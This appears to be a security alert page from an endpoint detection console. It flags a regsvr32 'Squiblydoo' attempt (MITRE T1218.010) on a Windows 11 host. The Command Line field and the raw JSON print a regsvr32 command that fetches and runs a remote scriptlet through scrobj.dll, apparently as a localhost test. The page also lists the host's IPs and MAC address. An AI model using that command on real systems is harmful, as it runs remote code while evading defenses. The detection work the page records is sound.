Alert Information
High
- Alert ID
ind:d403078a73c1471f9199f846a04a1b58:4542123878-10191-100112- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:d403078a73c1471f9199f846a04a1b58:4542123878-10191-100112- 설명
- A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.
- 호스트
- DESKTOP-0TNTPTE
- 상태
- new
- 생성 시간
- 2025-12-15 02:53:06
- 업데이트 시간
- 2025-12-15 03:52:06
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- Regsvr32
Command Line
regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll
Raw JSON Data
{"id":"ind:d403078a73c1471f9199f846a04a1b58:4542123878-10191-100112","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:d403078a73c1471f9199f846a04a1b58:4542123878-10191-100112","agent_id":"d403078a73c1471f9199f846a04a1b58","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.","severity":70,"severity_name":"High","confidence":80,"tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Regsvr32","technique_id":"T1218.010","cmdline":"regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll","filename":"regsvr32.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\regsvr32.exe","sha256":"f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e","status":"new","type":"ldt","created_timestamp":"2025-12-14T17:53:06.115147316Z","updated_timestamp":"2025-12-14T18:52:06.106098424Z","device":{"device_id":"d403078a73c1471f9199f846a04a1b58","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"DESKTOP-0TNTPTE","local_ip":"172.30.1.90","external_ip":"14.47.49.244","mac_address":"00-0c-29-2a-10-1c","platform_name":"Windows","os_version":"Windows 11"},"aggregate_id":"aggind:d403078a73c1471f9199f846a04a1b58:4300080643","CreatedAt":"2025-12-15T02:53:06.1151473+09:00","UpdatedAt":"2025-12-15T03:52:06.1060984+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
d403078a73c1471f9199f846a04a1b58
Actions